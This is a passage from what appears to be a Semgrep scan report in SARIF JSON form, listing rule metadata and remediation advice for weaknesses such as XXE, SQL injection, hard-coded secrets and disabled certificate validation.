defusedxml.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.xml.tainted-flask-xml-stdlib.tainted-flask-xml-stdlib)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.python.org/3/library/xml.html#xml-vulnerabilities](https://docs.python.org/3/library/xml.html#xml-vulnerabilities)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing](https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing)\n - [https://pypi.org/project/defusedxml/](https://pypi.org/project/defusedxml/)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. The xml parsing libraries are safe from several known high-impact vulnerabilities such as external entity expansion and DTD retrieval. However, they are still vulnerable to denial of service attacks such as billion laughs and quadratic blowup. To mitigate these attacks, it is recommended to use a different parser such as defusedxml."},"helpUri":"https://semgrep.dev/r/python.flask.xml.tainted-flask-xml-stdlib.tainted-flask-xml-stdlib","id":"python.flask.xml.tainted-flask-xml-stdlib.tainted-flask-xml-stdlib","name":"python.flask.xml.tainted-flask-xml-stdlib.tainted-flask-xml-stdlib","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.xml.tainted-flask-xml-stdlib.tainted-flask-xml-stdlib"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Oracle update is not restricted in $F()"},"help":{"markdown":"Oracle update is not restricted in $F()\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.sense-missing-oracle-access-control.sense-missing-oracle-access-control)\n - [https://medium.com/immunefi/sense-finance-access-control-issue-bugfix-review-32e0c806b1a0](https://medium.com/immunefi/sense-finance-access-control-issue-bugfix-review-32e0c806b1a0)\n","text":"Oracle update is not restricted in $F()"},"helpUri":"https://semgrep.dev/r/solidity.security.sense-missing-oracle-access-control.sense-missing-oracle-access-control","id":"solidity.security.sense-missing-oracle-access-control.sense-missing-oracle-access-control","name":"solidity.security.sense-missing-oracle-access-control.sense-missing-oracle-access-control","properties":{"precision":"very-high","tags":["CWE-284: Improper Access Control","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.sense-missing-oracle-access-control.sense-missing-oracle-access-control"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Marking code as privileged enables a piece of trusted code to temporarily enable access to more resources than are available directly to the code that called it. Be very careful in your use of the privileged construct, and always remember to make the privileged code section as small as possible."},"help":{"markdown":"Marking code as privileged enables a piece of trusted code to temporarily enable access to more resources than are available directly to the code that called it. Be very careful in your use of the privileged construct, and always remember to make the privileged code section as small as possible.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.do-privileged-use.do-privileged-use)\n - [https://docs.oracle.com/javase/8/docs/technotes/guides/security/doprivileged.html](https://docs.oracle.com/javase/8/docs/technotes/guides/security/doprivileged.html)\n - [https://wiki.sei.cmu.edu/confluence/display/java/Privilege+Escalation](https://wiki.sei.cmu.edu/confluence/display/java/Privilege+Escalation)\n - [http://phrack.org/papers/escaping_the_java_sandbox.html](http://phrack.org/papers/escaping_the_java_sandbox.html)\n","text":"Marking code as privileged enables a piece of trusted code to temporarily enable access to more resources than are available directly to the code that called it. Be very careful in your use of the privileged construct, and always remember to make the privileged code section as small as possible."},"helpUri":"https://semgrep.dev/r/java.lang.security.do-privileged-use.do-privileged-use","id":"java.lang.security.do-privileged-use.do-privileged-use","name":"java.lang.security.do-privileged-use.do-privileged-use","properties":{"precision":"very-high","tags":["CWE-269: Improper Privilege Management","LOW CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.do-privileged-use.do-privileged-use"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected string concatenation with a non-literal variable in a `mssql` JS SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `$REQ.input('USER_ID', mssql.Int, id);`"},"help":{"markdown":"Detected string concatenation with a non-literal variable in a `mssql` JS SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `$REQ.input('USER_ID', mssql.Int, id);`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.audit.sqli.node-mssql-sqli.node-mssql-sqli)\n - [https://www.npmjs.com/package/mssql](https://www.npmjs.com/package/mssql)\n","text":"Detected string concatenation with a non-literal variable in a `mssql` JS SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `$REQ.input('USER_ID', mssql.Int, id);`"},"helpUri":"https://semgrep.dev/r/javascript.lang.security.audit.sqli.node-mssql-sqli.node-mssql-sqli","id":"javascript.lang.security.audit.sqli.node-mssql-sqli.node-mssql-sqli","name":"javascript.lang.security.audit.sqli.node-mssql-sqli.node-mssql-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.audit.sqli.node-mssql-sqli.node-mssql-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as SQLAlchemy which will protect your queries."},"help":{"markdown":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as SQLAlchemy which will protect your queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.injection.tainted-sql-string.tainted-sql-string)\n - [https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql](https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql)\n - [https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm](https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm)\n - [https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column](https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column)\n","text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as SQLAlchemy which will protect your queries."},"helpUri":"https://semgrep.dev/r/python.flask.security.injection.tainted-sql-string.tainted-sql-string","id":"python.flask.security.injection.tainted-sql-string.tainted-sql-string","name":"python.flask.security.injection.tainted-sql-string.tainted-sql-string","properties":{"precision":"very-high","tags":["CWE-704: Incorrect Type Conversion or Cast","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.injection.tainted-sql-string.tainted-sql-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.peewee.python-peewee-pg-empty-password.python-peewee-pg-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.peewee.python-peewee-pg-empty-password.python-peewee-pg-empty-password","id":"python.peewee.python-peewee-pg-empty-password.python-peewee-pg-empty-password","name":"python.peewee.python-peewee-pg-empty-password.python-peewee-pg-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.peewee.python-peewee-pg-empty-password.python-peewee-pg-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"When data from an untrusted source is put into a logger and not neutralized correctly, an attacker could forge log entries or include malicious content."},"help":{"markdown":"When data from an untrusted source is put into a logger and not neutralized correctly, an attacker could forge log entries or include malicious content.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crlf-injection-logs.crlf-injection-logs)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"When data from an untrusted source is put into a logger and not neutralized correctly, an attacker could forge log entries or include malicious content."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crlf-injection-logs.crlf-injection-logs","id":"java.lang.security.audit.crlf-injection-logs.crlf-injection-logs","name":"java.lang.security.audit.crlf-injection-logs.crlf-injection-logs","properties":{"precision":"very-high","tags":["CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crlf-injection-logs.crlf-injection-logs"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Certificate verification has been explicitly disabled. This permits insecure connections to insecure servers. Re-enable certification validation."},"help":{"markdown":"Certificate verification has been explicitly disabled. This permits insecure connections to insecure servers. Re-enable certification validation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.requests.security.disabled-cert-validation.disabled-cert-validation)\n - [https://stackoverflow.com/questions/41740361/is-it-safe-to-disable-ssl-certificate-verification-in-pythonss-requests-lib](https://stackoverflow.com/questions/41740361/is-it-safe-to-disable-ssl-certificate-verification-in-pythonss-requests-lib)\n","text":"Certificate verification has been explicitly disabled. This permits insecure connections to insecure servers. Re-enable certification validation."},"helpUri":"https://semgrep.dev/r/python.requests.security.disabled-cert-validation.disabled-cert-validation","id":"python.requests.security.disabled-cert-validation.disabled-cert-validation","name":"python.requests.security.disabled-cert-validation.disabled-cert-validation","properties":{"precision":"very-high","tags":["CWE-295: Improper Certificate Validation","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.requests.security.disabled-cert-validation.disabled-cert-validation"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.jedis.secrets.jedissentinelpool-constructor-hardcoded-secret.jedissentinelpool-constructor-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.jedis.secrets.jedissentinelpool-constructor-hardcoded-secret.jedissentinelpool-constructor-hardcoded-secret","id":"java.jedis.secrets.jedissentinelpool-constructor-hardcoded-secret.jedissentinelpool-constructor-hardcoded-secret","name":"java.jedis.secrets.jedissentinelpool-constructor-hardcoded-secret.jedissentinelpool-constructor-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.jedis.secrets.jedissentinelpool-constructor-hardcoded-secret.jedissentinelpool-constructor-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"It looks like you're using an implementation of XSSRequestWrapper from dzone. (https://www.javacodegeeks.com/2012/07/anti-cross-site-scripting-xss-filter.html) The XSS filtering in this code is not secure and can be bypassed by malicious actors. It is recommended to use a stack that automatically escapes in your view or templates instead of filtering yourself."},"help":{"markdown":"It looks like you're using an implementation of XSSRequestWrapper from dzone. (https://www.javacodegeeks.com/2012/07/anti-cross-site-scripting-xss-filter.html) The XSS filtering in this code is not secure and can be bypassed by malicious actors. It is recommended to use a stack that automatically escapes in your view or templates instead of filtering yourself.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.xssrequestwrapper-is-insecure.xssrequestwrapper-is-insecure)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"It looks like you're using an implementation of XSSRequestWrapper from dzone. (https://www.javacodegeeks.com/2012/07/anti-cross-site-scripting-xss-filter.html) The XSS filtering in this code is not secure and can be bypassed by malicious actors. It is recommended to use a stack that automatically escapes in your view or templates instead of filtering yourself."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.xssrequestwrapper-is-insecure.xssrequestwrapper-is-insecure","id":"java.lang.security.audit.xssrequestwrapper-is-insecure.xssrequestwrapper-is-insecure","name":"java.lang.security.audit.xssrequestwrapper-is-insecure.xssrequestwrapper-is-insecure","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.xssrequestwrapper-is-insecure.xssrequestwrapper-is-insecure"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the file path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In PHP, this can lead to both local file inclusion (LFI) or remote file inclusion (RFI) if user input reaches this statement. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the file path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In PHP, this can lead to both local file inclusion (LFI) or remote file inclusion (RFI) if user input reaches this statement. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.laravel.security.laravel-path-traversal.laravel-path-traversal)\n - [https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Laravel_Cheat_Sheet.md#path-traversal](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Laravel_Cheat_Sheet.md#path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the file path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In PHP, this can lead to both local file inclusion (LFI) or remote file inclusion (RFI) if user input reaches this statement. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/php.laravel.security.laravel-path-traversal.laravel-path-traversal","id":"php.laravel.security.laravel-path-traversal.laravel-path-traversal","name":"php.laravel.security.laravel-path-traversal.laravel-path-traversal","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: php.laravel.security.laravel-path-traversal.laravel-path-traversal"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A cookie was detected without setting the 'secure' flag. The 'secure' flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the 'secure' flag by calling '$COOKIE.setSecure(true);'"},"help":{"markdown":"A cookie was detected without setting the 'secure' flag. The 'secure' flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the 'secure' flag by calling '$COOKIE.setSecure(true);'\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.audit.cookie-missing-secure-flag.cookie-missing-secure-flag)\n - [https://owasp.org/www-community/controls/SecureCookieAttribute](https://owasp.org/www-community/controls/SecureCookieAttribute)\n","text":"A cookie was detected without setting the 'secure' flag. The 'secure' flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the 'secure' flag by calling '$COOKIE.setSecure(true);'"},"helpUri":"https://semgrep.dev/r/java.servlets.security.audit.cookie-missing-secure-flag.cookie-missing-secure-flag","id":"java.servlets.security.audit.cookie-missing-secure-flag.cookie-missing-secure-flag","name":"java.servlets.security.audit.cookie-missing-secure-flag.cookie-missing-secure-flag","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.audit.cookie-missing-secure-flag.cookie-missing-secure-flag"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected hardcoded password used in basic authentication in a controller class. Including this password in version control could expose this credential. Consider refactoring to use environment variables or configuration files."},"help":{"markdown":"Detected hardcoded password used in basic authentication in a controller class. Including this password in version control could expose this credential. Consider refactoring to use environment variables or configuration files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.hardcoded-http-auth-in-controller.hardcoded-http-auth-in-controller)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"Detected hardcoded password used in basic authentication in a controller class. Including this password in version control could expose this credential. Consider refactoring to use environment variables or configuration files."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.hardcoded-http-auth-in-controller.hardcoded-http-auth-in-controller","id":"ruby.lang.security.hardcoded-http-auth-in-controller.hardcoded-http-auth-in-controller","name":"ruby.lang.security.hardcoded-http-auth-in-controller.hardcoded-http-auth-in-controller","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.hardcoded-http-auth-in-controller.hardcoded-http-auth-in-controller"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"help":{"markdown":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.code.tainted-code-stdlib-fastapi.tainted-code-stdlib-fastapi)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://www.stackhawk.com/blog/command-injection-python/](https://www.stackhawk.com/blog/command-injection-python/)\n","text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"helpUri":"https://semgrep.dev/r/python.fastapi.code.tainted-code-stdlib-fastapi.tainted-code-stdlib-fastapi","id":"python.fastapi.code.tainted-code-stdlib-fastapi.tainted-code-stdlib-fastapi","name":"python.fastapi.code.tainted-code-stdlib-fastapi.tainted-code-stdlib-fastapi","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.code.tainted-code-stdlib-fastapi.tainted-code-stdlib-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.net.http.passwordauthentication-hardcoded-password.passwordauthentication-hardcoded-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.lang.security.net.http.passwordauthentication-hardcoded-password.passwordauthentication-hardcoded-password","id":"java.lang.security.net.http.passwordauthentication-hardcoded-password.passwordauthentication-hardcoded-password","name":"java.lang.security.net.http.passwordauthentication-hardcoded-password.passwordauthentication-hardcoded-password","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.net.http.passwordauthentication-hardcoded-password.passwordauthentication-hardcoded-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cassandra.python-cassandra-empty-password.python-cassandra-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.cassandra.python-cassandra-empty-password.python-cassandra-empty-password","id":"python.cassandra.python-cassandra-empty-password.python-cassandra-empty-password","name":"python.cassandra.python-cassandra-empty-password.python-cassandra-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.cassandra.python-cassandra-empty-password.python-cassandra-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.cryptoswift.aes-hardcoded-secret.aes-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/swift.cryptoswift.aes-hardcoded-secret.aes-hardcoded-secret","id":"swift.cryptoswift.aes-hardcoded-secret.aes-hardcoded-secret","name":"swift.cryptoswift.aes-hardcoded-secret.aes-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.cryptoswift.aes-hardcoded-secret.aes-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.secrets.pgx.pgx-hardcoded-secret.pgx-hardcoded-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/go.secrets.pgx.pgx-hardcoded-secret.pgx-hardcoded-secret","id":"go.secrets.pgx.pgx-hardcoded-secret.pgx-hardcoded-secret","name":"go.secrets.pgx.pgx-hardcoded-secret.pgx-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.secrets.pgx.pgx-hardcoded-secret.pgx-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, 